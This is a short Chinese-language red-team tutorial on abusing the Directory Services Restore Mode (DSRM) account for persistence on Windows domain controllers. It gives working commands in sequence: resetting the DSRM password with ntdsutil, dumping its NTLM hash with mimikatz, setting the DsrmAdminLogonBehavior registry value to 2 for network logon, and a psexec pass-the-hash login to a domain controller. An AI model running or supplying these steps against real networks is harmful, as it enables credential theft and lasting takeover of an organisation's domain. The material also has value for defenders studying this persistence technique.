DSRM(目录服务还原模式),在初期安装域控的时候会让我们设置DSRM的管理员密码,这个密码是为了在后期域控发生问题时修复、还原或重建活动目录。
DSRM账户实际上是administrator账户,并且该账户的密码在创建之后很少使用。该技术适用于win2008及以后版本的服务器。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM 账号可以作为一个域控制器的本地管理员用户,可通过网络连接域控制器,进而控制域控。
通过在域控上运行NTDSUtil,可以为DSRM账户修改密码
修改DSRM账户密码
#进入ntdsutil
ntdsutil
#进入DSRM账户密码设置模式
set dsrm password
#重置 DSRM 管理员密码
reset password on server null
#输入新密码
<password> //1324
#退出DSRM密码设置模式
q
#退出ntdsutil
q
获取DSRM账户的哈希值
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
注意,这个NTLM和本地管理员administrator的NTLM hash不一样,这个是DSRM账户的哈希。
修改 DSRM 的登录方式
DSRM 有三种登录方式,具体如下:
0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号
1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器
2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器
在Windows Server 2000以后的版本操作系统中,对 DSRM 使用控制台登录域控制器进行了限制。如果要使用 DSRM 账号通过网络登录域控制器,需通过注册表将该值设置为 2,从而允许DSRM账号在任何情况下都可以登录域控制器。
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
此时,红队人员可以通过DSRM账户对域控制器进行控制了
如下使用DSRM账号和哈希对域控执行哈西传递并成功获取域控权限
python3 psexec.py 主机名/administrator@192.168.10.2 -hashes :哈希值 -codec 936